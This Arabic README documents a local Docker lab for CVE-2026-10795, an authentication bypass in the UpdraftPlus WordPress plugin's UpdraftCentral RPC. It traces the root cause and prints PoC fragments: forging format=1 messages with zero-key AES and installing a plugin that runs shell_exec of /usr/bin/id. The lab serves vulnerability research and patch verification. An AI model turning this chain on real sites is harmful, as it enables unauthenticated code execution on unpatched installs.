
يحتوي هذا المستودع على مختبر Docker محلي لإعادة إنتاج والتحقق من CVE-2026-10795، وهي ثغرة تجاوز مصادقة لا تتطلب مصادقة مسبقة، تؤثر على إضافة UpdraftPlus في ووردبريس عبر طبقة الاتصال عن بُعد UpdraftCentral.
السلوك المعيب موجود في مسار معالجة رسائل RPC في UpdraftCentral. في الإصدارات المتأثرة، يمكن لرسالة RPC مزوّرة format=1 تجاوز التحقق من التوقيع، والتسبب في مسار فك تشفير RSA فاشل، ومع ذلك الوصول إلى فك التشفير المتماثل بسلوك مفتاح فارغ/IV فارغ قابل للتنبؤ. يسمح ذلك بقبول رسالة RPC مشفرة مصممة بعناية وتوجيهها كأمر UpdraftCentral.
يقارن هذا المختبر بين إصدارين من UpdraftPlus:
| الخدمة | إصدار UpdraftPlus | الغرض | الرابط |
|---|---|---|---|
vuln | 1.26.4 | هدف مقارنة هش | http://127.0.0.1:8081 |
patched | 1.26.5 | هدف مقارنة مُصحَّح | http://127.0.0.1:8082 |
السلسلة المُوضَّحة هي:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
الثغرة الأساسية هي تجاوز المصادقة. يوضّح المختبر أنه يمكن ربط تجاوز المصادقة بتأثير من نمط RCE عندما تكون حالة مفتاح UpdraftCentral مميَّزة موجودة، لأن UpdraftCentral يعرض أوامر إدارة إضافات مشروعة يمكنها تثبيت وتفعيل إضافات WordPress.
هذه ليست ثغرة حقن أوامر مباشرة. يأتي إثبات تنفيذ التعليمات البرمجية من إساءة استخدام وظيفة تثبيت الإضافات الموثَّقة بعد تجاوز حدود مصادقة RPC.
صُمِّم هذا المختبر للبحث المحلي الخاضع للتحكم، وفهم الكود المصدري، والعرض في معرض الأعمال فقط.
## حقائق مُتحقَّقة
| الادعاء | الدليل | كيفية التحقق في هذا المختبر |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| إصدار UpdraftPlus 1.26.4 قابل للاستغلال في هذا المختبر. | الخدمة القابلة للاستغلال تقبل رسالة RPC مزوَّرة بصيغة `format=1` وتُرسل `plugin.upload_plugin`. | شغّل الأمر `python3 poc/poc.py --url http://127.0.0.1:8081`. |
| إصدار UpdraftPlus 1.26.5 يحجب الرسالة المزوَّرة في هذا المختبر. | الخدمة المُصحَّحة لا تُرجع نص استجابة RPC ولا تُرسل الأمر المزوَّر. | شغّل الأمر `python3 poc/poc.py --url http://127.0.0.1:8082`. |
| المشكلة هي تجاوز مصادقة في طبقة RPC الخاصة بـ UpdraftCentral. | يمكن لطلب RPC مزوَّر غير موثَّق أن يصل إلى مرحلة إرسال الأوامر في الإصدار القابل للاستغلال. | قارن سلوك `--ping` بين المنفذين `8081` و`8082`. |
| لا يقوم المختبر بتثبيت إضافة العلامة مسبقًا. | الإعداد يثبّت فقط WordPress وUpdraftPlus وحالة مفتاح UpdraftCentral محلية. | تحقق من `/wp-json/cve-lab/v1/id` قبل تشغيل الـ PoC. |
| يثبّت الـ PoC إضافة العلامة من خلال RPC مزوَّر. | يرسل الـ PoC `plugin.upload_plugin` مع حمولة إضافة بصيغة ZIP في حقل بيانات RPC. | شغّل الـ PoC ثم اطلب `/wp-json/cve-lab/v1/id`. |
| يصل الهدف القابل للاستغلال إلى تأثير من نمط RCE. | تكشف إضافة العلامة نقطة نهاية مُرمَّزة بشكل ثابت تُرجع مخرجات `/usr/bin/id`. | يعيد الهدف القابل للاستغلال الناتج `uid=33(www-data) gid=33(www-data)`. |
| لا يثبّت الهدف المُصحَّح إضافة العلامة. | تعيد نقطة نهاية العلامة `404 rest_no_route` على الخدمة المُصحَّحة. | شغّل الـ PoC ضد `http://127.0.0.1:8082`. |
| يتطلب المختبر حالة مفتاح UpdraftCentral. | يعتمد إرسال UpdraftCentral على إدخال مفتاح محلي وبيانات وصفية مرتبطة به. | راجع `scripts/setup-wordpress.sh`. |
## الافتراضات والمجهولات
يزرع هذا المختبر عمدًا حالة مفتاح UpdraftCentral محلية لإعادة إنتاج حالة موقع تم فيها تكوين التحكم عن بُعد.
حالة المفتاح المزروعة هي شرط مسبق للمختبر، وليست الثغرة بحد ذاتها. إنها تتيح للمختبر اختبار مسار تحليل وفك تشفير RPC القابل للاستغلال بشكل متسق.
لا يدّعي المختبر أن كل تثبيت لـ UpdraftPlus قابل للاستغلال فورًا. تعتمد السلسلة المُوضَّحة على وجود إدخال مفتاح UpdraftCentral محلي مرتبط بمستخدم WordPress ذي صلاحيات.
يُظهر المختبر تأثيرًا مُتحكمًا به من نمط RCE عن طريق تثبيت إضافة علامة تكشف نقطة نهاية إثبات مُرمَّزة بشكل ثابت `/usr/bin/id`. لا يوفر قشرة ويب عامة، أو معلمة تنفيذ أوامر عشوائية، أو قشرة عكسية، أو آلية استمرارية، أو سرقة بيانات اعتماد، أو استدعاءًا خارجيًا.
الـ PoC مقصور على الأهداف المحلية فقط ويرفض أسماء المضيفين غير المحلية افتراضيًا.
## ملخص السبب الجذري
السبب الجذري هو التحقق غير السليم من رسائل RPC الخاصة بـ UpdraftCentral في الإصدارات القابلة للاستغلال من UpdraftPlus.
يقبل تدفق RPC القابل للاستغلال رسالة `format=1`. لا يتطلب مسار `format=1` نفس التحقق من التوقيع الذي تتطلبه صيغ الرسائل الأحدث.
المشكلة على المستوى العام هي:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
في السلوك الهش، يمكن أن يُرجع فك تشفير RSA:```text false
بدلاً من رفض نتيجة فك التشفير الفاشلة تلك، يستمر التدفق الضعيف ويمرر القيمة إلى طبقة فك التشفير المتماثل.
النمط الضعيف الفعلي هو:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
المشكلة هي أن $sym_key لا يتم التحقق منه قبل استخدامه.
عندما يكون $sym_key هو false، فإن إعداد التشفير يتبع سلوكًا متوقعًا لمفتاح null وIV null. وهذا يجعل من الممكن صياغة حمولة RPC مشفرة باستخدام مفتاح صفري معروف وIV صفري معروف.
النسخة المصححة تضيف حارسًا قبل استخدام المفتاح المتماثل:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
هذا يغيّر حدود الثقة.
قبل التصحيح:```text
failed RSA decrypt result could still reach symmetric decrypt
بعد التصحيح:```text failed RSA decrypt result is rejected before command dispatch
هذا هو السبب في أن الخدمة القابلة للاستغلال ترسل أمر RPC المزوّر، بينما الخدمة المُصحّحة لا تفعل ذلك.
## لماذا يمكن أن يؤدي تجاوز المصادقة إلى تنفيذ التعليمات البرمجية
يُوصَف CVE-2026-10795 على أفضل نحو بأنه تجاوز للمصادقة لأن العيب الجذري يكمن في طبقة مصادقة RPC والتحقق من الرسائل.
ومع ذلك، بعد تجاوز حدود المصادقة هذه، يمكن لرسالة RPC التي يتحكم فيها المهاجم الوصول إلى أوامر UpdraftCentral المميزة.
أحد مسارات الأوامر المهمة هو:```text
plugin.upload_plugin
هذا الأمر جزء من وظيفة إدارة الإضافات في UpdraftCentral. يقبل حمولة ZIP للإضافة، ويكتبها في موقع مؤقت، ويقوم بتثبيت الإضافة وتفعيلها عند الطلب.
سلسلة التأثير إذن هي:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
هذا ليس حقن أوامر.
يوضح المختبر تنفيذ التعليمات البرمجية عن طريق تثبيت مكوّن إضافي للعلامات يكشف عن نقطة نهاية واحدة:```text
/wp-json/cve-lab/v1/id
لا يقبل المكوّن الإضافي marker معلمة أمر. إنه يعمل فقط:```text /usr/bin/id
هذا يُبقي الإثبات تحت السيطرة ويتجنّب تحويل المختبر إلى قشرة ويب للأغراض العامة.
## ملخص التصحيح المصدر
سلوك التصحيح ذو الصلة هو أن الإصدار المُصحّح يرفض المفاتيح التناظرية غير الصالحة قبل محاولة فك تشفير جسم رسالة RPC.
التحقق المهم هو:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
يمنع هذا السلوك الاحتياطي القابل للاستغلال حيث يمكن أن تتحول نتيجة فك تشفير RSA الفاشلة إلى مسار مفتاح متماثل يمكن التنبؤ به.
النتيجة العملية هي:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
المختبر يتحقق أيضًا من التأثير اللاحق من خلال استهداف مسار أمر الرفع الفعلي لإضافة UpdraftCentral.
سلوك الأمر ذو الصلة هو:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
النسخة المُصححة تمنع الرسالة المزوّرة قبل الوصول إلى مسار الأمر هذا.
يشرح هذا القسم المسار الضعيف على مستوى الكود المصدري ويُرابط كل خطوة من خطوات إثبات المفهوم (PoC) بالسلوك ذي الصلة في UpdraftPlus / UpdraftCentral.
لا يعتمد المختبر على مسار تطبيق ضعيف مزيف. يتم الوصول إلى السلوك الضعيف عبر مستمع RPC الحقيقي لـ UpdraftCentral ومسار إدارة الإضافات الحقيقي في UpdraftCentral.
مناطق المصدر المهمة هي:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### إنشاء المستمع
يبدأ مسار RPC الضعيف عندما يستقبل WordPress طلب POST يحتوي على:```text
udrpc_message
format
key_name
The RPC library registers a listener on WordPress wp_loaded when those POST fields exist.
مفهوميًا، يكون التدفق كما يلي:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
هذا يعني أن المهاجم لا يحتاج إلى معرفة نقطة نهاية REST خاصة أو عنوان URL للإدارة. يتم إرسال طلب RPC المزوّر كطلب POST عادي إلى جذر موقع ووردبريس.
يرسل الـPoC:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
الطلب يصل إلى نفس مسار المستمع المستخدم من قبل اتصال UpdraftCentral البعيد الشرعي.
يخزّن UpdraftCentral مفاتيح التحكم عن بُعد المحلية في خيارات WordPress. في هذا المختبر، يقوم البرنامج النصي للإعداد بزرع حالة مفتاح مضبوطة لكل من الهدفين المُعرَّض للخطر والمُصحَّح.
اسم المفتاح ذو الصلة هو:```text 0.central.updraftplus.com
يتم إنتاج هذا التنسيق بواسطة منطق المؤشر الرئيسي الخاص بـ UpdraftCentral:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
يستمر المستمع فقط إذا تطابق حقل POST غير المشفّر مع مؤشر المفتاح المتوقع:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
لذلك يحدد الـ PoC ما يلي:```python
KEY_NAME = "0.central.updraftplus.com"
هذه ليست الثغرة الأمنية. إنها شرط مسبق للمختبر يتيح للاختبار تمرين مسار تحليل RPC وفك التشفير المعرّض للثغرة بطريقة قابلة للتكرار.
يدعم UpdraftCentral تنسيقات الرسائل. التمييز المهم هو:```text format=1 legacy path format=2 signed message path
في مسار الكود المعرض للثغرات، لا يحدث التحقق من التوقيع إلا عندما يكون التنسيق أكبر من أو يساوي 2:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
لأن PoC يستخدم:```text format=1
يتم تخطي كتلة التحقق من التوقيع هذه.
هذه هي حدود تجاوز المصادقة.
من المتوقع أن تتضمن رسالة `format=2` الشرعية توقيعًا صالحًا. رسالة `format=1` المزوّرة لا تحتاج إلى توقيع، لذا يمكن للرسالة التي يتحكم فيها المهاجم مواصلة المسار إلى فك التشفير.
### تدفق فك التشفير القابل للاستغلال
بعد التحقق من التنسيق واسم المفتاح، يقوم المستمع بفك تشفير `udrpc_message` المُرسلة.
تدفق فك التشفير القابل للاستغلال في UpdraftPlus 1.26.4 هو في الواقع:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
الخلل يقع بين هاتين العمليتين:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
إذا فشل فك تشفير RSA، يمكن أن تُرجع `$rsa->decrypt()`:```php
false
الإصدار المعرّض للخطر لا يرفض تلك القيمة قبل تمريرها إلى:```php $rij->setKey($sym_key);
النسخة المُصححة تُصلح ذلك بإضافة التحقق:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
هذا الحارس هو التصحيح المرتبط بالأمان. يمنع نتيجة فشل فك تشفير RSA من الوصول إلى إعداد التشفير المتماثل.
false متوقعًاالسلوك القابل للاستغلال خطير لأن setKey(false) لا يفشل بأمان في مسار phpseclib هذا.
يقوم كود التشفير بحساب طول المفتاح من المفتاح المقدم:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
عندما تكون قيمة `$key` هي `false`، يتصرف `strlen(false)` كحالة مفتاح بطول صفر.
منطق طول المفتاح في Rijndael يقوم بتقريب أحجام المفاتيح الصغيرة جدًا إلى الحد الأدنى الصالح لطول المفتاح:```php
case $length <= 128:
$this->key_length = 16;
break;
يقوم إعداد التشفير بعد ذلك بحشو المفتاح وIV بالبايتات الصفرية:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
إذًا يمكن للمهاجم نمذجة سلوك فك التشفير الهش على النحو التالي:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
هذا هو السبب الذي يجعل الـ PoC قادرًا على تشفير أمر JSON RPC محليًا وجعل الهدف الضعيف يفك تشفيره بنجاح.
تتوقع دالة فك التشفير الضعيفة أن تحتوي الرسالة المشفرة على:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
يبني الـ PoC هذه البنية يدويًا:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
كتلة RSA غير صالحة عمدًا:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
في UpdraftPlus 1.26.4، تتسبب كتلة RSA غير الصالحة في فشل فك تشفير RSA، لكن الفشل لا يُرفض.
في UpdraftPlus 1.26.5، تُرفض نتيجة فك التشفير الفاشلة بواسطة الحارس الجديد ولا تصل الرسالة المزورة إلى توجيه الأوامر.
### رسالة JSON RPC الداخلية
الرسالة الداخلية المشفرة هي أمر JSON عادي بنمط UpdraftCentral.
للتحقق من ping، يستخدم الـ PoC:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
بالنسبة لإثبات الهوية الافتراضي، يستخدم الـ PoC:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
يظهر `key_name` خارج الرسالة المشفرة وداخلها على حد سواء. يتحقق المستمع من تطابق الاثنين:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
لهذا السبب يجب أن يتضمن إثبات المفهوم (PoC) نفس اسم المفتاح في كلا الموضعين.
بعد فك تشفير الرسالة، يقوم المستمع بتحليلها كـ JSON:```php $udrpc_message = json_decode($udrpc_message, true);
يجب أن تحتوي الرسالة على أمر صالح:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
يجب أن يحتوي أيضًا على طابع زمني:```php if (empty($udrpc_message['time'])) { die; }
يجب أن يكون الطابع الزمني ضمن نافذة إعادة التشغيل المسموح بها:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
يضبط إثبات المفهوم (PoC) بالتالي الحقل الداخلي time على الوقت الحالي.
بعد فك تشفير الرسالة والتحقق من صحتها، يقوم UpdraftCentral بتوزيع الأمر.
تستخدم الأوامر تنسيق بادئة:```text .
على سبيل المثال:```text
plugin.upload_plugin
يصبح هذا:```text prefix = plugin method = upload_plugin
يقوم المستمع باستخراج فئة الأمر من البادئة ثم يستدعي الطريقة ديناميكيًا:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
لأمر PoC:```text plugin.upload_plugin
يستدعي المستمع:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
لهذا السبب لا يحتاج PoC إلى sink مباشر لحقن الأوامر، إذ يصل إلى أمر UpdraftCentral شرعي وذي امتيازات بعد تجاوز حدود مصادقة RPC.
يمكن للمستمع تعيين مستخدم WordPress الحالي من البيانات الوصفية لمفتاح UpdraftCentral:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
في هذا المختبر، يحتوي المفتاح المُزْرَع على:```text
extra_info.user_id = 1
يُحاكي ذلك مفتاح UpdraftCentral مُهيأً مرتبطًا بمستخدم المسؤول الذي تم إنشاؤه أثناء إعداد WordPress.
هذا مهم لأن مسار رفع المكوّن الإضافي يتحقق من صلاحيات WordPress:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
إذًا، التجاوز وحده يُدخل الأمر المزوّر إلى طبقة RPC. وتحدد بيانات المفتاح المزروع سياق مستخدم ووردبريس الذي يعمل الأمر في إطاره.
في هذه التجربة، يعمل الأمر في سياق المدير (admin) لأن المفتاح مرتبط بمعرّف المستخدم 1.
### مصرف رفع الإضافة
طريقة الأمر هي:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
يتوقع معالج الرفع المشترك بيانات رفع الإضافة:```text filename data activate
يرسل الـ PoC:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
يكتب معالج الرفع محتوى ملف ZIP إلى ملف مؤقت:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
بالنسبة للرفع غير المجزأ، يتم التثبيت فورًا:```php
$install_now = true;
ثم يقوم المعالج بإنشاء مسار ZIP:```php $zip_filepath = $upload_dir.'/'.$filename;
ويقوم بتثبيته باستخدام محدّث إضافات UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
إذا نجح التثبيت وكان activate صحيحًا، يقوم الكود بتفعيل المكوّن الإضافي المثبّت:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
استجابة التثبيت الناجحة تحتوي على:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
يتم إنشاء المكوّن الإضافي للعلامة بواسطة PoC في الذاكرة. ولا يتم تثبيته مسبقًا بواسطة إعداد Docker.
يحتوي ملف ZIP المُنشأ على:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
يسجّل المكوّن الإضافي marker مسار REST واحدًا:```text
/wp-json/cve-lab/v1/id
تُرجع نقطة النهاية:```text lab plugin proof uid gid user id_output
الأمر الوحيد الذي ينفّذه المكوّن الإضافي للعلامة هو أمر مُرمَّز بشكل ثابت:```php
shell_exec('/usr/bin/id 2>&1');
لا توجد معلمة cmd يتحكم فيها المستخدم.
هذا مقصود. يثبت المختبر تنفيذ كود المكوّن الإضافي مع تجنّب قشرة ويب عامة.
تستقبل الخدمة المُصحَّحة نفس الطلب المزوَّر ولديها نفس حالة المفتاح المُهيَّأة بالبذرة.
الفرق هو حارس فك التشفير المُصحَّح:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
نظرًا لأن الـ PoC يوفّر عمدًا كتلة RSA غير صالحة، فإن مفتاح التشفير المتماثل الذي تم فك تشفيره غير صالح.
في UpdraftPlus 1.26.5، تتوقف الرسالة المزوّرة قبل تحليل JSON وقبل إرسال الأمر.
لذلك:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
هذا السلوك المُصحَّح يُثبت أن نتيجة المختبر تعتمد على مسار كود RPC الضعيف في UpdraftPlus، وليس على بيئة Docker التجريبية.
يبدأ كود PoC برفض الأهداف غير المحلية:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
هذا يُبقي السكربت محصورًا في مُختبر Docker.
يبني الـPoC رسالة RPC الداخلية:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
إذا تم استخدام إثبات الهوية الافتراضي، يكون الأمر:```python command = "plugin.upload_plugin"
والبيانات هي:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
The PoC then encrypts the inner JSON with the predictable vulnerable cipher state:
بعد ذلك، يقوم الـ PoC بتشفير JSON الداخلي باستخدام حالة الشيفرة القابلة للتنبؤ والضعيفة:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
هذا يتوافق مع النتيجة القابلة للاستغلال لتمرير `false` إلى إعداد التشفير المتماثل.
يستخدم إثبات المفهوم (PoC) عمدًا كتلة RSA غير صالحة:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
الرسالة الناتجة udrpc_message تُبنى بنفس التنسيق المسبوق بالطول الذي تتوقعه دالة فك تشفير RPC:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
أخيرًا، يُرسل الـ PoC طلب RPC المُزوَّر:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
في الهدف المستضعف، يحتوي ردّ الخادم على نص استجابة JSON صالح بنمط RPC. تتعامل الـ PoC مع ذلك باعتباره:```text RPC DISPATCHED
بعد الإرسال، يتحقق الـ PoC من الأثر عبر طلب نقطة النهاية المميزة:```text
GET /wp-json/cve-lab/v1/id
إذا تم تثبيت المكوّن الإضافي marker وتفعيله، تُرجع نقطة النهاية:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
تُثبت هذه المخرجات أن رسالة RPC المزورة وغير المصادق عليها وصلت إلى مسار تثبيت البرامج الإضافية المميّز، وقامت بتفعيل كود برمجي إضافي مقدم من المهاجم داخل بيئة الاختبار المحلية.
## ما الذي يثبته المختبر
يثبت هذا المختبر السلسلة التقنية التالية:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
لا يثبت المختبر أن كل تثبيت قابل للاستغلال دون متطلبات مسبقة.
المتطلب المسبق المطلوب لهذا العرض هو:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
يُنشئ إعداد Docker هذا المتطلب الأساسي في كلا الهدفين بحيث يمكن اختبار الفرق بين السلوك القابل للاستغلال والسلوك المُصحح بشكل عادل.
## بنية المختبر
يشغّل المختبر تثبيتين معزولين من WordPress عبر Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
تستخدم خدمتا WordPress قواعد بيانات منفصلة وإصدارات منفصلة من UpdraftPlus:
الخدمات المكشوفة افتراضيًا:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
تعمل عملية الإعداد على تهيئة نفس حالة مفتاح UpdraftCentral في كلتا الخدمتين:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
يمنح هذا كلا الهدفين نفس الحالة المسبقة. الفرق في السلوك يأتي من كود UpdraftPlus الثُّغري مقابل المُصحَّح، وليس من إعداد مختبري مختلف.
requirements.txtتبعيات Python:```text requests urllib3<2 pycryptodome
The `urllib3<2` constraint avoids LibreSSL-related warnings on some macOS Python builds.
## بدء سريع
ابدأ من حالة مختبر نظيفة:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
شاهد سجلات الإعداد:```bash docker compose logs -f vuln_setup patched_setup
مؤشرات الإعداد المتوقعة:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
لم يتم توفير أي نص مصدر للترجمة في هذه الرسالة.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
تحقق من الخدمات قيد التشغيل:```bash
docker compose ps
أنشئ وفعّل بيئة افتراضية لـ Python:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
شغّل إثبات الهوية الافتراضي ضد الهدف الضعيف:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
شغّل نفس الإثبات ضد الهدف المُصحَّح:```bash python3 poc/poc.py --url http://127.0.0.1:8082
يتطلب السكربت خيار `--url` عن قصد. وهذا يجبر المختبر على اختيار الهدف بشكل صريح بدلاً من مهاجمة الخدمتين تلقائيًا.
## استخدام PoC
السلوك الافتراضي:```bash
python3 poc/poc.py --url <local_target_url>
مثال على هدف ضعيف:```bash python3 poc/poc.py --url http://127.0.0.1:8081
مثال لهدف تم تصحيحه:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
التحقق الاختياري عبر ping فقط:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
Supported options:
| الخيار | مطلوب | الغرض |
| ----------- | -------- | ------------------------------------------------------- |
| `--url` | نعم | عنوان URL للهدف في المختبر المحلي |
| `--ping` | لا | تشغيل تحقق ping مزيف غير ضار بدلاً من إثبات الهوية |
| `--timeout` | لا | مهلة HTTP بالثواني. الافتراضي: `15` |
المضيفات المستهدفة المقبولة:```text
127.0.0.1
localhost
::1
يرفض الـ PoC الأهداف غير المحلية افتراضيًا.
يعمل الـ PoC من الجهاز المضيف ويرسل طلبات HTTP إلى خدمات Docker المكشوفة.
الإجراء الافتراضي للـ PoC هو إثبات الهوية.
التدفق عالي المستوى هو:```text
لا يتم تخزين marker plugin في المستودع كملف مستقل. يتم إنشاؤه في الذاكرة بواسطة PoC.
أمر RPC المزوَّر هو:```text
plugin.upload_plugin
تحتوي بيانات RPC على:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
يقوم الـ PoC بتشفير رسالة JSON RPC الداخلية باستخدام:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
كما يتضمن كتلة مفتاح متماثل مشفّرة عبر RSA غير صالحة عمدًا.
في النسخة القابلة للاستغلال، لا يتم رفض فشل فك تشفير RSA. تستمر الرسالة إلى مسار فك التشفير بمفتاح فارغ قابل للتنبؤ، ويتم تنفيذ الأمر المزور.
في النسخة المُصححة، يتم رفض المفتاح المتماثل غير الصالح ولا يتم تنفيذ الأمر المزور.
--pingخيار --ping هو أداة مساعدة للتصحيح.
يتحقق فقط من حدود تجاوز التشفير وإرسال RPC. لا يرفع مكوّنًا إضافيًا ولا يشغّل /usr/bin/id.
استخدم --ping عندما لا يعمل إثبات الهوية الافتراضي وتحتاج إلى عزل موضع الفشل.
إذا فشل --ping، فمن المرجح أن المشكلة قبل تنفيذ الأمر:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
إذا نجح `--ping` لكن فشل إثبات الهوية، فالمشكلة غالبًا بعد الإرسال:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
سلوك ping المتوقع:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## النتائج المتوقعة
### الهدف القابل للاستغلال
الأمر:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
